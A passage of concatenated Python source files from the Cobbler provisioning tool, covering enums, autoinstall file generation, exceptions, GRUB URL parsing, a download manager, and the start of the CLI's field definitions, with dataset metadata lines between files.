XENPV = "xenpv" XENFV = "xenfv" VMWARE = "vmware" VMWAREW = "vmwarew" OPENVZ = "openvz" AUTO = "auto" class VirtDiskDrivers(ConvertableEnum): """ This enum represents all virtual disk driver Cobbler can handle. """ INHERITED = VALUE_INHERITED RAW = "raw" QCOW2 = "qcow2" QED = "qed" VDI = "vdi" VDMK = "vdmk" class BaudRates(enum.Enum): """ This enum describes all baud rates which are commonly used. """ DISABLED = -1 B0 = 0 B110 = 110 B300 = 300 B600 = 600 B1200 = 1200 B2400 = 2400 B4800 = 4800 B9600 = 9600 B14400 = 14400 B19200 = 19200 B38400 = 38400 B57600 = 57600 B115200 = 115200 B128000 = 128000 B256000 = 256000 class ImageTypes(ConvertableEnum): """ This enum represents all image types which Cobbler can manage. """ DIRECT = "direct" ISO = "iso" MEMDISK = "memdisk" VIRT_CLONE = "virt-clone" class MirrorType(ConvertableEnum): """ This enum represents all mirror types which Cobbler can manage. """ NONE = "none" METALINK = "metalink" MIRRORLIST = "mirrorlist" BASEURL = "baseurl" class TlsRequireCert(ConvertableEnum): """ This enum represents all TLS validation server cert types which Cobbler can manage. """ NEVER = "never" ALLOW = "allow" DEMAND = "demand" HARD = "hard"
6,288
Python
.py
224
22.227679
120
0.623275
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,077
autoinstallgen.py
cobbler_cobbler/cobbler/autoinstallgen.py
""" Builds out filesystem trees/data based on the object tree. This is the code behind 'cobbler sync'. """ # SPDX-License-Identifier: GPL-2.0-or-later # SPDX-FileCopyrightText: Copyright 2006-2009, Red Hat, Inc and Others # SPDX-FileCopyrightText: Michael DeHaan <michael.dehaan AT gmail> import xml.dom.minidom from typing import TYPE_CHECKING, Any, List, Optional, Union, cast from urllib import parse from cobbler import templar, utils, validate from cobbler.cexceptions import CX from cobbler.items.distro import Distro from cobbler.items.profile import Profile if TYPE_CHECKING: from cobbler.api import CobblerAPI from cobbler.items.system import System class AutoInstallationGen: """ Handles conversion of internal state to the tftpboot tree layout """ def __init__(self, api: "CobblerAPI"): """ Constructor :param api: The API instance which is used for this object. Normally there is only one instance of the collection manager. """ self.api = api self.settings = api.settings() self.templar = templar.Templar(self.api) def create_autoyast_script( self, document: xml.dom.minidom.Document, script: str, name: str ) -> xml.dom.minidom.Element: """ This method attaches a script with a given name to an existing AutoYaST XML file. :param document: The existing AutoYaST XML file. :param script: The script to attach. :param name: The name of the script. :return: The AutoYaST file with the attached script. """ new_script = document.createElement("script") new_script_source = document.createElement("source") new_script_source_text = document.createCDATASection(script) new_script.appendChild(new_script_source) # type: ignore new_script_file = document.createElement("filename") new_script_file_text = document.createTextNode(name) new_script.appendChild(new_script_file) # type: ignore new_script_source.appendChild(new_script_source_text) # type: ignore new_script_file.appendChild(new_script_file_text) # type: ignore return new_script def add_autoyast_script( self, document: xml.dom.minidom.Document, script_type: str, source: str ): """ Add scripts to an existing AutoYaST XML. :param document: The existing AutoYaST XML object. :param script_type: The type of the script which should be added. :param source: The source of the script. This should be ideally a string. """ scripts = document.getElementsByTagName("scripts") # type: ignore if scripts.length == 0: # type: ignore new_scripts = document.createElement("scripts") document.documentElement.appendChild(new_scripts) scripts = document.getElementsByTagName("scripts") # type: ignore added = 0 for stype in scripts[0].childNodes: # type: ignore if stype.nodeType == stype.ELEMENT_NODE and stype.tagName == script_type: # type: ignore stype.appendChild( # type: ignore self.create_autoyast_script( document, source, script_type + "_cobbler" ) ) added = 1 if added == 0: new_chroot_scripts = document.createElement(script_type) new_chroot_scripts.setAttribute("config:type", "list") new_chroot_scripts.appendChild( # type: ignore self.create_autoyast_script(document, source, script_type + "_cobbler") ) scripts[0].appendChild(new_chroot_scripts) # type: ignore def generate_autoyast( self, profile: Optional["Profile"] = None, system: Optional["System"] = None, raw_data: Optional[str] = None, ) -> str: """ Generate auto installation information for SUSE distribution (AutoYaST XML file) for a specific system or general profile. Only a system OR profile can be supplied, NOT both. :param profile: The profile to generate the AutoYaST file for. :param system: The system to generate the AutoYaST file for. :param raw_data: The raw data which should be included in the profile. :return: The generated AutoYaST XML file. """ self.api.logger.info( "AutoYaST XML file found. Checkpoint: profile=%s system=%s", profile, system ) what = "none" blend_this = None if profile: what = "profile" blend_this = profile if system: what = "system" blend_this = system if blend_this is None: raise ValueError("Profile or System required for generating autoyast!") blended = utils.blender(self.api, False, blend_this) srv = blended["http_server"] document: xml.dom.minidom.Document = xml.dom.minidom.parseString(raw_data) # type: ignore[unkownMemberType] # Do we already have the #raw comment in the XML? (add_comment = 0 means, don't add #raw comment) add_comment = 1 for node in document.childNodes[1].childNodes: if node.nodeType == node.ELEMENT_NODE and node.tagName == "cobbler": add_comment = 0 break # Add some cobbler information to the XML file, maybe that should be configurable. if add_comment == 1: cobbler_element = document.createElement("cobbler") cobbler_element_system = xml.dom.minidom.Element("system_name") cobbler_element_profile = xml.dom.minidom.Element("profile_name") if system is not None: cobbler_text_system = document.createTextNode(system.name) cobbler_element_system.appendChild(cobbler_text_system) # type: ignore if profile is not None: cobbler_text_profile = document.createTextNode(profile.name) cobbler_element_profile.appendChild(cobbler_text_profile) # type: ignore cobbler_element_server = document.createElement("server") cobbler_text_server = document.createTextNode(blended["http_server"]) cobbler_element_server.appendChild(cobbler_text_server) # type: ignore cobbler_element.appendChild(cobbler_element_server) # type: ignore cobbler_element.appendChild(cobbler_element_system) # type: ignore cobbler_element.appendChild(cobbler_element_profile) # type: ignore name = blend_this.name if self.settings.run_install_triggers: # notify cobblerd when we start/finished the installation protocol = self.api.settings().autoinstall_scheme self.add_autoyast_script( document, "pre-scripts", f'\ncurl "{protocol}://{srv}/cblr/svc/op/trig/mode/pre/{what}/{name}" > /dev/null', ) self.add_autoyast_script( document, "init-scripts", f'\ncurl "{protocol}://{srv}/cblr/svc/op/trig/mode/post/{what}/{name}" > /dev/null', ) return document.toxml() # type: ignore def generate_repo_stanza( self, obj: Union["Profile", "System"], is_profile: bool = True ) -> str: """ Automatically attaches yum repos to profiles/systems in automatic installation files (template files) that contain the magic $yum_repo_stanza variable. This includes repo objects as well as the yum repos that are part of split tree installs, whose data is stored with the distro (example: RHEL5 imports) :param obj: The profile or system to generate the repo stanza for. :param is_profile: If True then obj is a profile, otherwise obj has to be a system. Otherwise this method will silently fail. :return: The string with the attached yum repos. """ buf = "" blended = utils.blender(self.api, False, obj) repos = blended["repos"] # keep track of URLs and be sure to not include any duplicates included = {} for repo in repos: # see if this is a source_repo or not; we know that this is a single match due to return_list=False repo_obj = self.api.find_repo(repo, return_list=False) # type: ignore if repo_obj is None or isinstance(repo_obj, list): # FIXME: what to do if we can't find the repo object that is listed? # This should be a warning at another point, probably not here so we'll just not list it so the # automatic installation file will still work as nothing will be here to read the output noise. # Logging might be useful. continue yumopts = "" for opt in repo_obj.yumopts: # filter invalid values to the repo statement in automatic installation files if opt in ["exclude", "include"]: value = repo_obj.yumopts[opt].replace(" ", ",") yumopts = yumopts + f" --{opt}pkgs={value}" elif not opt.lower() in validate.AUTOINSTALL_REPO_BLACKLIST: yumopts += f" {opt}={repo_obj.yumopts[opt]}" if "enabled" not in repo_obj.yumopts or repo_obj.yumopts["enabled"] == "1": if repo_obj.mirror_locally: baseurl = f"http://{blended['http_server']}/cobbler/repo_mirror/{repo_obj.name}" if baseurl not in included: buf += f"repo --name={repo_obj.name} --baseurl={baseurl}\n" included[baseurl] = 1 else: if repo_obj.mirror not in included: buf += f"repo --name={repo_obj.name} --baseurl={repo_obj.mirror} {yumopts}\n" included[repo_obj.mirror] = 1 if is_profile: distro = obj.get_conceptual_parent() else: profile = obj.get_conceptual_parent() if profile is None: raise ValueError("Error finding distro!") profile = cast(Profile, profile) distro = profile.get_conceptual_parent() if distro is None: raise ValueError("Error finding distro!") distro = cast(Distro, distro) source_repos = distro.source_repos count = 0 for repo in source_repos: count += 1 if not repo[1] in included: buf += f"repo --name=source-{count} --baseurl={repo[1]}\n" included[repo[1]] = 1 return buf def generate_config_stanza( self, obj: Union["Profile", "System"], is_profile: bool = True ) -> str: """ Add in automatic to configure /etc/yum.repos.d on the remote system if the automatic installation file (template file) contains the magic $yum_config_stanza. :param obj: The profile or system to generate a generate a config stanza for. :param is_profile: If the object is a profile. If False it is assumed that the object is a system. :return: The curl command to execute to get the configuration for a system or profile. """ if not self.settings.yum_post_install_mirror: return "" blended = utils.blender(self.api, False, obj) autoinstall_scheme = self.api.settings().autoinstall_scheme if is_profile: url = f"{autoinstall_scheme}://{blended['http_server']}/cblr/svc/op/yum/profile/{obj.name}" else: url = f"{autoinstall_scheme}://{blended['http_server']}/cblr/svc/op/yum/system/{obj.name}" return f'curl "{url}" --output /etc/yum.repos.d/cobbler-config.repo\n' def generate_autoinstall_for_system(self, sys_name: str) -> str: """ Generate an autoinstall config or script for a system. :param sys_name: The system name to generate an autoinstall script for. :return: The generated output or an error message with a human readable description. :raises CX: Raised in case the system references a missing profile. """ system_obj = self.api.find_system(name=sys_name) if system_obj is None or isinstance(system_obj, list): return "# system not found" profile_obj: Optional["Profile"] = system_obj.get_conceptual_parent() # type: ignore if profile_obj is None: raise CX( "system %(system)s references missing profile %(profile)s" % {"system": system_obj.name, "profile": system_obj.profile} ) distro: Optional["Distro"] = profile_obj.get_conceptual_parent() # type: ignore if distro is None: # this is an image parented system, no automatic installation file available return "# image based systems do not have automatic installation files" return self.generate_autoinstall(profile=profile_obj, system=system_obj) def generate_autoinstall( self, profile: Optional["Profile"] = None, system: Optional["System"] = None ) -> str: """ This is an internal method for generating an autoinstall config/script. Please use the ``generate_autoinstall_for_*`` methods. If you insist on using this mehtod please only supply a profile or a system, not both. :param profile: The profile to use for generating the autoinstall config/script. :param system: The system to use for generating the autoinstall config/script. If both arguments are given, this wins. :return: The autoinstall script or configuration file as a string. """ obj = None obj_type = "none" if profile: obj = system obj_type = "system" if system is None: obj = profile obj_type = "profile" if obj is None: raise ValueError("Neither profile nor system was given! One is required!") meta = utils.blender(self.api, False, obj) autoinstall_rel_path = meta["autoinstall"] if not autoinstall_rel_path: return f"# automatic installation file value missing or invalid at {obj_type} {obj.name}" # get parent distro if system is not None: profile = system.get_conceptual_parent() # type: ignore[reportGeneralTypeIssues] distro: Optional["Distro"] = profile.get_conceptual_parent() # type: ignore[reportGeneralTypeIssues] if distro is None: raise ValueError("Distro for object not found") # make autoinstall_meta metavariable available at top level autoinstall_meta = meta["autoinstall_meta"] del meta["autoinstall_meta"] meta.update(autoinstall_meta) # add package repositories metadata to autoinstall metavariables if distro.breed == "redhat": meta["yum_repo_stanza"] = self.generate_repo_stanza(obj, (system is None)) meta["yum_config_stanza"] = self.generate_config_stanza( obj, (system is None) ) # FIXME: implement something similar to zypper (SUSE based distros) and apt (Debian based distros) meta["kernel_options"] = utils.dict_to_string(meta["kernel_options"]) if "kernel_options_post" in meta: meta["kernel_options_post"] = utils.dict_to_string( meta["kernel_options_post"] ) # add install_source_directory metavariable to autoinstall metavariables if distro is based on Debian if distro.breed in ["debian", "ubuntu"] and "tree" in meta: urlparts = parse.urlsplit(meta["tree"]) # type: ignore meta["install_source_directory"] = urlparts[2] try: autoinstall_path = ( f"{self.settings.autoinstall_templates_dir}/{autoinstall_rel_path}" ) raw_data = utils.read_file_contents(autoinstall_path) if raw_data is None: raise FileNotFoundError("File to template could not be read!") data = self.templar.render(raw_data, meta, None) return data except FileNotFoundError: error_msg = ( f"automatic installation file {meta['autoinstall']} not found" f" at {self.settings.autoinstall_templates_dir}" ) self.api.logger.warning(error_msg) return f"# {error_msg}" def generate_autoinstall_for_profile(self, profile: str) -> str: """ Generate an autoinstall config or script for a profile. :param profile: The Profile to generate the script/config for. :return: The generated output or an error message with a human readable description. :raises CX: Raised in case the profile references a missing distro. """ profile_obj: Optional["Profile"] = self.api.find_profile(name=profile) # type: ignore if profile_obj is None or isinstance(profile_obj, list): return "# profile not found" distro: Optional["Distro"] = profile_obj.get_conceptual_parent() # type: ignore if distro is None: raise CX(f'Profile "{profile_obj.name}" references missing distro!') return self.generate_autoinstall(profile=profile_obj) def get_last_errors(self) -> List[Any]: """ Returns the list of errors generated by the last template render action. :return: The list of error messages which are available. This may not only contain error messages related to generating autoinstallation configuration and scripts. """ return self.templar.last_errors
17,935
Python
.py
339
41.775811
118
0.627453
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,078
cexceptions.py
cobbler_cobbler/cobbler/cexceptions.py
""" Custom exceptions for Cobbler """ from typing import Any, Iterable # SPDX-License-Identifier: GPL-2.0-or-later # SPDX-FileCopyrightText: Copyright 2006-2009, Red Hat, Inc and Others # SPDX-FileCopyrightText: Michael DeHaan <michael.dehaan AT gmail> class CobblerException(Exception): """ This is the default Cobbler exception where all other exceptions are inheriting from. """ def __init__(self, value: Any, *args: Iterable[str]): """ Default constructor for the Exception. Bad example: ``CobblerException("Profile %s not found" % profile_name)`` Good example: ``CobblerException("Profile %s not found", profile_name)`` :param value: The string representation of the Exception. Do not glue strings and pass them as one. Instead pass them as params and let the constructor of the Exception build the string like (same as it should be done with logging calls). Example see above. :param args: Optional arguments which replace a ``%s`` in a Python string. """ self.value = value % args # this is a hack to work around some odd exception handling in older pythons self.from_cobbler = 1 def __str__(self) -> str: """ This is the string representation of the base Cobbler Exception. :return: self.value as a string represented. """ return repr(self.value) class CX(CobblerException): """ This is a general exception which gets thrown often inside Cobbler. """
1,566
Python
.py
34
38.970588
120
0.675214
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,079
grub.py
cobbler_cobbler/cobbler/grub.py
""" Module that contains GRUB related helper functionality. """ import logging from typing import Optional import netaddr # type: ignore def parse_grub_remote_file(file_location: str) -> Optional[str]: """ Parses a URI which grub would try to load from the network. :param file_location: The location which grub would try to load from the network. :return: In case the URL could be parsed it is returned in the converted format. Otherwise None is returned. :raises TypeError: In case file_location is not of type ``str``. :raises ValueError: In case the file location does not contain a valid IPv4 or IPv6 address """ if not isinstance(file_location, str): # type: ignore raise TypeError('"file_location" should be of type "str"') if file_location.startswith("ftp://"): logging.warning( "FTP protocol not supported by GRUB. Only HTTP and TFTP [%s]", file_location ) return None if file_location.startswith("http://"): (server, _, path) = file_location[7:].partition("/") prot = "http" elif file_location.startswith("tftp://"): (server, _, path) = file_location[7:].partition("/") prot = "tftp" else: logging.warning( "Unknown or unsupported protocol set for GRUB [%s]", file_location ) return None if not (server.startswith("@@") and server.endswith("server@@")): if not (netaddr.valid_ipv4(server) or netaddr.valid_ipv6(server)): raise ValueError( f"Invalid remote file format {file_location}\n{server} is not a valid IP address" ) res = f"({prot},{server})/{path}" # logging.info("Found remote grub file. Converted [%s] to [%s]", file_location, res) return res
1,796
Python
.py
40
38.125
112
0.652373
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,080
download_manager.py
cobbler_cobbler/cobbler/download_manager.py
""" Cobbler DownloadManager """ # SPDX-License-Identifier: GPL-2.0-or-later # SPDX-FileCopyrightText: Copyright 2018, Jorgen Maas <jorgen.maas@gmail.com import logging from typing import TYPE_CHECKING, Any, Optional, Tuple, Union import requests import yaml if TYPE_CHECKING: from requests import Response class DownloadManager: """ TODO """ def __init__(self) -> None: """ Constructor """ self.logger = logging.getLogger() with open("/etc/cobbler/settings.yaml", encoding="UTF-8") as main_settingsfile: ydata = yaml.safe_load(main_settingsfile) # requests wants a dict like: protocol: proxy_uri proxy_url_ext = ydata.get("proxy_url_ext", "") if proxy_url_ext: self.proxies = { "http": proxy_url_ext, "https": proxy_url_ext, } else: self.proxies = {} def urlread( self, url: str, proxies: Any = None, cert: Optional[Union[str, Tuple[str, str]]] = None, ) -> "Response": """ Read the content of a given URL and pass the requests. Response object to the caller. :param url: The URL the request. :param proxies: Override the default Cobbler proxies. :param cert: Override the default Cobbler certs. :returns: The Python ``requests.Response`` object. """ if proxies is None: proxies = self.proxies if cert is None: return requests.get(url, proxies=proxies, cert=cert, timeout=600) return requests.get(url, proxies=proxies, timeout=600)
1,659
Python
.py
49
26.204082
93
0.613125
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,081
cli.py
cobbler_cobbler/cobbler/cli.py
""" Command line interface for Cobbler. """ # SPDX-License-Identifier: GPL-2.0-or-later # SPDX-FileCopyrightText: Copyright 2006-2009, Red Hat, Inc and Others # SPDX-FileCopyrightText: Michael DeHaan <michael.dehaan AT gmail> import optparse import os import sys import time import traceback import xmlrpc.client from typing import Optional from cobbler import enums, power_manager, utils from cobbler.utils import signatures INVALID_TASK = "<<invalid>>" OBJECT_ACTIONS_MAP = { "distro": ["add", "copy", "edit", "find", "list", "remove", "rename", "report"], "profile": [ "add", "copy", "dumpvars", "edit", "find", "get-autoinstall", "list", "remove", "rename", "report", ], "system": [ "add", "copy", "dumpvars", "edit", "find", "get-autoinstall", "list", "remove", "rename", "report", "poweron", "poweroff", "powerstatus", "reboot", ], "image": ["add", "copy", "edit", "find", "list", "remove", "rename", "report"], "repo": [ "add", "copy", "edit", "find", "list", "remove", "rename", "report", "autoadd", ], "menu": ["add", "copy", "edit", "find", "list", "remove", "rename", "report"], "setting": ["edit", "report"], "signature": ["reload", "report", "update"], } OBJECT_TYPES = list(OBJECT_ACTIONS_MAP.keys()) # would like to use from_iterable here, but have to support python 2.4 OBJECT_ACTIONS = [] for actions in list(OBJECT_ACTIONS_MAP.values()): OBJECT_ACTIONS += actions DIRECT_ACTIONS = [ "aclsetup", "buildiso", "import", "list", "replicate", "report", "reposync", "sync", "validate-autoinstalls", "version", "signature", "hardlink", "mkloaders", ] #################################################### # the fields has controls what data elements are part of each object. To add a new field, just add a new # entry to the list following some conventions to be described later. You must also add a method called # set_$fieldname. Do not write a method called get_$fieldname, that will not be called. # # name | default | subobject default | display name | editable? | tooltip | values ? | type # # name -- what the filed should be called. For the command line, underscores will be replaced with # a hyphen programatically, so use underscores to seperate things that are seperate words # # default value -- when a new object is created, what is the default value for this field? # # subobject default -- this applies ONLY to subprofiles, and is most always set to <<inherit>>. If this # is not item_profile.py it does not matter. # # display name -- how the field shows up in the web application and the "cobbler report" command # # editable -- should the field be editable in the CLI and web app? Almost always yes unless # it is an internalism. Fields that are not editable are "hidden" # # tooltip -- the caption to be shown in the web app or in "commandname --help" in the CLI # # values -- for fields that have a limited set of valid options and those options are always fixed # (such as architecture type), the list of valid options goes in this field. # # type -- the type of the field. Used to determine which HTML form widget is used in the web interface # # # the order in which the fields appear in the web application (for all non-hidden # fields) is defined in field_ui_info.py. The CLI sorts fields alphabetically. # # field_ui_info.py also contains a set of "Groups" that describe what other fields # are associated with what other fields. This affects color coding and other # display hints. If you add a field, please edit field_ui_info.py carefully to match. # # additional: see field_ui_info.py for some display hints. By default, in the # web app, all fields are text fields unless field_ui_info.py lists the field in # one of those dictionaries. # # hidden fields should not be added without just cause, explanations about these are: # # ctime, mtime -- times the object was modified, used internally by Cobbler for API purposes # uid -- also used for some external API purposes # source_repos -- an artifiact of import, this is too complicated to explain on IRC so we just hide it for RHEL split # repos, this is a list of each of them in the install tree, used to generate repo lines in the # automatic installation file to allow installation of x>=RHEL5. Otherwise unimportant. # depth -- used for "cobbler list" to print the tree, makes it easier to load objects from disk also # tree_build_time -- loaded from import, this is not useful to many folks so we just hide it. Avail over API. # # so to add new fields # (A) understand the above # (B) add a field below # (C) add a set_fieldname method # (D) if field must be viewable/editable via web UI, add a entry in # corresponding *_UI_FIELDS_MAPPING dictionary in field_ui_info.py. # If field must not be displayed in a text field in web UI, also add # an entry in corresponding USES_* list in field_ui_info.py. # # in general the set_field_name method should raise exceptions on invalid fields, always. There are adtl # validation fields in is_valid to check to see that two seperate fields do not conflict, but in general # design issues that require this should be avoided forever more, and there are few exceptions. Cobbler # must operate as normal with the default value for all fields and not choke on the default values. DISTRO_FIELDS = [ # non-editable in UI (internal) ["ctime", 0, 0, "", False, "", 0, "float"], ["depth", 0, 0, "Depth", False, "", 0, "int"], ["mtime", 0, 0, "", False, "", 0, "float"], ["source_repos", [], 0, "Source Repos", False, "", 0, "list"], ["tree_build_time", 0, 0, "Tree Build Time", False, "", 0, "str"], ["uid", "", 0, "", False, "", 0, "str"], # editable in UI [ "arch", "x86_64", 0, "Architecture", True, "", signatures.get_valid_archs(), "str", ], [ "autoinstall_meta", {}, 0, "Automatic Installation Template Metadata", True, "Ex: dog=fang agent=86", 0, "dict", ], [ "boot_loaders", "<<inherit>>", "<<inherit>>", "Boot loaders", True, "Network installation boot loaders", 0, "list", ], [ "breed", "redhat", 0, "Breed", True, "What is the type of distribution?", signatures.get_valid_breeds(), "str", ], ["comment", "", 0, "Comment", True, "Free form text description", 0, "str"], [ "initrd", None, 0, "Initrd", True, "Absolute path to kernel on filesystem", 0, "str", ], [ "kernel", None, 0, "Kernel", True, "Absolute path to kernel on filesystem", 0, "str", ], [ "remote_boot_initrd", None, 0, "Remote Boot Initrd", True, "URL the bootloader directly retrieves and boots from", 0, "str", ], [ "remote_boot_kernel", None, 0, "Remote Boot Kernel", True, "URL the bootloader directly retrieves and boots from", 0, "str", ], [ "kernel_options", {}, 0, "Kernel Options", True, "Ex: selinux=permissive", 0, "dict", ], [ "kernel_options_post", {}, 0, "Kernel Options (Post Install)", True, "Ex: clocksource=pit noapic", 0, "dict", ], ["name", "", 0, "Name", True, "Ex: Fedora-11-i386", 0, "str"], [ "os_version", "virtio26", 0, "OS Version", True, "Needed for some virtualization optimizations", signatures.get_valid_os_versions(), "str", ], [ "owners", "SETTINGS:default_ownership", 0, "Owners", True, "Owners list for authz_ownership (space delimited)", 0, "list", ], [ "redhat_management_key", "", "", "Redhat Management Key", True, "Registration key for RHN, Spacewalk, or Satellite", 0, "str", ], [ "template_files", {}, 0, "Template Files", True, "File mappings for built-in config management", 0, "dict", ], ] IMAGE_FIELDS = [ # non-editable in UI (internal) ["ctime", 0, 0, "", False, "", 0, "float"], ["depth", 0, 0, "", False, "", 0, "int"], ["mtime", 0, 0, "", False, "", 0, "float"], ["parent", "", 0, "", False, "", 0, "str"], ["uid", "", 0, "", False, "", 0, "str"], # editable in UI [ "arch", "x86_64", 0, "Architecture", True, "", signatures.get_valid_archs(), "str", ], [ "autoinstall", "", 0, "Automatic installation file", True, "Path to autoinst/answer file template", 0, "str", ], ["breed", "redhat", 0, "Breed", True, "", signatures.get_valid_breeds(), "str"], ["comment", "", 0, "Comment", True, "Free form text description", 0, "str"], [ "file", "", 0, "File", True, "Path to local file or nfs://user@host:path", 0, "str", ], [ "image_type", "iso", 0, "Image Type", True, "", ["iso", "direct", "memdisk", "virt-image"], "str", ], ["name", "", 0, "Name", True, "", 0, "str"], ["network_count", 1, 0, "Virt NICs", True, "", 0, "int"], [ "os_version", "", 0, "OS Version", True, "ex: rhel4", signatures.get_valid_os_versions(), "str", ], [ "owners", "SETTINGS:default_ownership", 0, "Owners", True, "Owners list for authz_ownership (space delimited)", [], "list", ], ["menu", "", "", "Parent boot menu", True, "", [], "str"], ["display_name", "", "", "Display Name", True, "Ex: My Image", [], "str"], [ "boot_loaders", "<<inherit>>", "<<inherit>>", "Boot loaders", True, "Network installation boot loaders", 0, "list", ], [ "virt_auto_boot", "SETTINGS:virt_auto_boot", 0, "Virt Auto Boot", True, "Auto boot this VM?", 0, "bool", ], [ "virt_bridge", "SETTINGS:default_virt_bridge", 0, "Virt Bridge", True, "", 0, "str", ], ["virt_cpus", 1, 0, "Virt CPUs", True, "", 0, "int"], [ "virt_disk_driver", "SETTINGS:default_virt_disk_driver", 0, "Virt Disk Driver Type", True, "The on-disk format for the virtualization disk", "raw", "str", ], [ "virt_file_size", "SETTINGS:default_virt_file_size", 0.0, "Virt File Size (GB)", True, "", 0.0, "float", ], ["virt_path", "", 0, "Virt Path", True, "Ex: /directory or VolGroup00", 0, "str"], ["virt_ram", "SETTINGS:default_virt_ram", 0, "Virt RAM (MB)", True, "", 0, "int"], [ "virt_type", "SETTINGS:default_virt_type", 0, "Virt Type", True, "", [e.value for e in enums.VirtType], "str", ], ] MENU_FIELDS = [ # non-editable in UI (internal) ["ctime", 0, 0, "", False, "", 0, "float"], ["depth", 1, 1, "", False, "", 0, "int"], ["mtime", 0, 0, "", False, "", 0, "int"], ["uid", "", "", "", False, "", 0, "str"], # editable in UI ["comment", "", "", "Comment", True, "Free form text description", 0, "str"], ["name", "", None, "Name", True, "Ex: Systems", 0, "str"], ["display_name", "", "", "Display Name", True, "Ex: Systems menu", [], "str"], ["parent", "", "", "Parent Menu", True, "", [], "str"], ] PROFILE_FIELDS = [ # non-editable in UI (internal) ["ctime", 0, 0, "", False, "", 0, "float"], ["depth", 1, 1, "", False, "", 0, "int"], ["mtime", 0, 0, "", False, "", 0, "int"], ["uid", "", "", "", False, "", 0, "str"], # editable in UI [ "autoinstall", "SETTINGS:autoinstall", "<<inherit>>", "Automatic Installation Template", True, "Path to automatic installation template", 0, "str", ], [ "autoinstall_meta", {}, "<<inherit>>", "Automatic Installation Metadata", True, "Ex: dog=fang agent=86", 0, "dict", ], [ "boot_loaders", "<<inherit>>", "<<inherit>>", "Boot loaders", True, "Linux installation boot loaders", 0, "list", ], ["comment", "", "", "Comment", True, "Free form text description", 0, "str"], [ "dhcp_tag", "default", "<<inherit>>", "DHCP Tag", True, "See manpage or leave blank", 0, "str", ], [ "distro", None, "<<inherit>>", "Distribution", True, "Parent distribution", [], "str", ], [ "enable_ipxe", "SETTINGS:enable_ipxe", 0, "Enable iPXE?", True, "Use iPXE instead of PXELINUX for advanced booting options", 0, "bool", ], [ "enable_menu", "SETTINGS:enable_menu", "<<inherit>>", "Enable PXE Menu?", True, "Show this profile in the PXE menu?", 0, "bool", ], [ "kernel_options", {}, "<<inherit>>", "Kernel Options", True, "Ex: selinux=permissive", 0, "dict", ], [ "kernel_options_post", {}, "<<inherit>>", "Kernel Options (Post Install)", True, "Ex: clocksource=pit noapic", 0, "dict", ], ["name", "", None, "Name", True, "Ex: F10-i386-webserver", 0, "str"], [ "name_servers", "SETTINGS:default_name_servers", [], "Name Servers", True, "space delimited", 0, "list", ], [ "name_servers_search", "SETTINGS:default_name_servers_search", [], "Name Servers Search Path", True, "space delimited", 0, "list", ], [ "next_server_v4", "<<inherit>>", "<<inherit>>", "Next Server (IPv4) Override", True, "See manpage or leave blank", 0, "str", ], [ "next_server_v6", "<<inherit>>", "<<inherit>>", "Next Server (IPv6) Override", True, "See manpage or leave blank", 0, "str", ], [ "filename", "<<inherit>>", "<<inherit>>", "DHCP Filename Override", True, "Use to boot non-default bootloaders", 0, "str", ], [ "owners", "SETTINGS:default_ownership", "SETTINGS:default_ownership", "Owners", True, "Owners list for authz_ownership (space delimited)", 0, "list", ], ["parent", "", "", "Parent Profile", True, "", [], "str"], [ "proxy", "SETTINGS:proxy_url_int", "<<inherit>>", "Proxy", True, "Proxy URL", 0, "str", ], [ "redhat_management_key", "<<inherit>>", "<<inherit>>", "Red Hat Management Key", True, "Registration key for RHN, Spacewalk, or Satellite", 0, "str", ], [ "repos", [], "<<inherit>>", "Repos", True, "Repos to auto-assign to this profile", [], "list", ], [ "server", "<<inherit>>", "<<inherit>>", "Server Override", True, "See manpage or leave blank", 0, "str", ], [ "template_files", {}, "<<inherit>>", "Template Files", True, "File mappings for built-in config management", 0, "dict", ], ["menu", "", "", "Parent boot menu", True, "", 0, "str"], ["display_name", "", "", "Display Name", True, "Ex: My Profile", [], "str"], [ "virt_auto_boot", "SETTINGS:virt_auto_boot", "<<inherit>>", "Virt Auto Boot", True, "Auto boot this VM?", 0, "bool", ], [ "virt_bridge", "SETTINGS:default_virt_bridge", "<<inherit>>", "Virt Bridge", True, "", 0, "str", ], ["virt_cpus", 1, "<<inherit>>", "Virt CPUs", True, "integer", 0, "int"], [ "virt_disk_driver", "SETTINGS:default_virt_disk_driver", "<<inherit>>", "Virt Disk Driver Type", True, "The on-disk format for the virtualization disk", [e.value for e in enums.VirtDiskDrivers], "str", ], [ "virt_file_size", "SETTINGS:default_virt_file_size", "<<inherit>>", "Virt File Size(GB)", True, "", 0.0, "int", ], [ "virt_path", "", "<<inherit>>", "Virt Path", True, "Ex: /directory OR VolGroup00", 0, "str", ], [ "virt_ram", "SETTINGS:default_virt_ram", "<<inherit>>", "Virt RAM (MB)", True, "", 0, "int", ], [ "virt_type", "SETTINGS:default_virt_type", "<<inherit>>", "Virt Type", True, "Virtualization technology to use", [e.value for e in enums.VirtType], "str", ], ] REPO_FIELDS = [ # non-editable in UI (internal) ["ctime", 0, 0, "", False, "", 0, "float"], ["depth", 2, 0, "", False, "", 0, "float"], ["mtime", 0, 0, "", False, "", 0, "float"], ["parent", None, 0, "", False, "", 0, "str"], ["uid", None, 0, "", False, "", 0, "str"], # editable in UI [ "apt_components", "", 0, "Apt Components (apt only)", True, "ex: main restricted universe", [], "list", ], [ "apt_dists", "", 0, "Apt Dist Names (apt only)", True, "ex: precise precise-updates", [], "list", ], [ "arch", "x86_64", 0, "Arch", True, "ex: i386, x86_64", [e.value for e in enums.RepoArchs], "str", ], [ "breed", "rsync", 0, "Breed", True, "", [e.value for e in enums.RepoBreeds], "str", ], ["comment", "", 0, "Comment", True, "Free form text description", 0, "str"], [ "createrepo_flags", "<<inherit>>", 0, "Createrepo Flags", True, "Flags to use with createrepo", 0, "dict", ], [ "environment", {}, 0, "Environment Variables", True, "Use these environment variables during commands (key=value, space delimited)", 0, "dict", ], [ "keep_updated", True, 0, "Keep Updated", True, "Update this repo on next 'cobbler reposync'?", 0, "bool", ], [ "mirror", None, 0, "Mirror", True, "Address of yum or rsync repo to mirror", 0, "str", ], [ "mirror_type", "baseurl", 0, "Mirror Type", 